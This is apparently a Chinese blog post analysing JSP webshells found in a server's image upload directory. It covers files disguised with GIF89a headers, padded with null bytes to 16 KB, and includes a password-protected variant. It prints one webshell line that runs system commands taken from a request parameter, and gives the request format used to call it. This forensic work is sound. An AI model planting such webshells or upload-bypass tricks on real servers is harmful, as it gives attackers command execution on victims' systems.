webshell的排查与分析

1. 攻击文件分析

1.1 整体分析

本次共有10个可疑文件上传到图片目录。
通过对整体文件观察分析发现以下几点:

文件大小均为16kb大小。
文件名为13位时间戳构成。

2016年11月28日有9个文件,2016年12月7日有1个文件。

上传路径均为/home/aaaimg

综上所述,猜测攻击者上传渠道为某处限制文件大小为16kb的图片上传功能。

1.2 细节分析

10个可疑文件可归纳为4类文件类型。

  1. 损坏的JFIF文件。
  2. 伪装成gif的一句话webshell文件。
  3. 伪装成gif的带密码多行webshell文件。
  4. 普通一句话、带密码多行的webshell文件。

1480279187394.jsp 1480288550382.jsp 1480290855085.jsp 1480290955562.jsp

通过分析发现:
文件以JFIF为文件头。
在文件内并无发现攻击特征等猜测为损坏的JFIF(图片)文件。


此文件并无法进行执行,应是攻击者对应用功能上传检测机制测试所遗留下的测试文件,并无法造成任何攻击。

1480292986329.jsp 1480292991636.jsp 1480293150711.jsp

通过分析发现:

  • 文件以gif89a为文件头。
  • 文件以gif文件头做为伪装,内部填充java(jsp)语句从而达到绕过相关检测代码达到上传执行jsp(webshell)的目的。
  • 文件以16311个16进制00(空/null/Nothing)为结尾填充,从而把文件大小补充到16kb。

  • 文件内以一句jsp为攻击手段
<%Runtime.getRuntime(null).exec(request.getParameter("i"));%>

整体语句最后请求webshell方法为

1480292986329.jsp/1480292991636.jsp/1480293150711.jsp?i=命令。

此攻击语句本意是通过jsp的Runtime.getRuntime().exec()方法来执行系统命令,但攻击者有可能相关编码能力不强导致语句编写错误或意图绕过检测机制(Runtime.getRuntime(null)方法应无参数,攻击者多增加了null参数)。

1480294852424.jsp 1481121202167.jsp

  • 文件以gif89a为文件头

  • 文件以gif文件头做为伪装,内部填充java(jsp)语句从而达到绕过相关检测代码达到上传执行jsp(webshell)的目的
  • 文件以15996/15995个16进制00(空/null/Nothing)为结尾填充,从而把文件大小补充到16kb。

  • 文件内以多行带密码的jsp为攻击手段


整体语句最后请求webshell方法为

1480294852424.jsp/ 1481121202167.jsp?pwd=023&i=命令。

此攻击语句比上面3种攻击语句新增了密码功能(密码为023)以及格式化输出功能。

此攻击语句本意是通过jsp的Runtime.getRuntime().exec()方法来执行系统命令,但攻击者有可能相关编码能力不强导致语句编写错误或意图绕过检测机制(Runtime.getRuntime( )方法应无参数,攻击者多增加了空格)。

1480300205093.jsp

  • 文件内直接编写jsp(webshell)攻击语句。
  • 文件以16326个16进制00(空/null/Nothing)为结尾填充,从而把文件大小补充到16kb。

综上所述,攻击者意图获取服务器权限,但上传图片保存的路径无法进行执行操作,以及攻击者的攻击代码编写有问题从而无法执行/攻击。

Comments
Write a Comment